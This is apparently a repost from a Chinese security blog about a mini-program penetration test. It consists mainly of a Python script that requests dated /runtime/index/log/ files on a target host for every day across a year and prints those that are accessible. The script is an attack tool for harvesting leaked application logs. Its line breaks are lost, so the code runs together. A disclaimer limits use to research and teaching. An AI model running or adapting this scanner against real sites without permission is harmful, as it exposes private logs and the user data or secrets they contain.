import requestsfrom datetime import datetime, timedeltadef generate_date_range(start_date, end_date): """ 生成从 start_date 到 end_date 的每一天的日期列表。 :param start_date: 起始日期 (datetime 对象) :param end_date: 结束日期 (datetime 对象) :return: 日期列表 """ date_list = [] current_date = start_date while current_date <= end_date: date_list.append(current_date) current_date += timedelta(days=1) return date_listdef check_log_leak(base_url, date): """ 检查特定日期的日志文件是否存在并可访问。 :param base_url: 基础URL :param date: 日期 (datetime 对象) :return: 如果找到日志文件,则返回True;否则返回False """ # 构造日志文件路径 log_path = f"/runtime/index/log/{date.strftime('%Y%m')}/{date.day}.log" full_url = base_url.rstrip('/') + log_path try: response = requests.get(full_url, timeout=5) # 只处理状态码为200的情况 if response.status_code == 200: print(full_url) # 输出URL return True except requests.RequestException: pass # 忽略所有异常,不输出任何内容 return Falsedef main(): # 配置基础信息 target_url = "http://192.168.124.87/" # 修改为目标站点的基础URL start_date_str = "2024-07-01" # 开始日期 end_date_str = "2025-07-31" # 结束日期 # 将字符串转换为 datetime 对象 start_date = datetime.strptime(start_date_str, "%Y-%m-%d") end_date = datetime.strptime(end_date_str, "%Y-%m-%d") # 生成日期列表 dates = generate_date_range(start_date, end_date) # 检查每个日期的日志文件 for date in dates: check_log_leak(target_url, date)if __name__ == "__main__": main()
https://www.wwlib.cn/index.php/login/icode/c0af4e9a40d5555f
原文始发于微信公众号(shadowsec):基于无问社区AI的一次小程序渗透
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论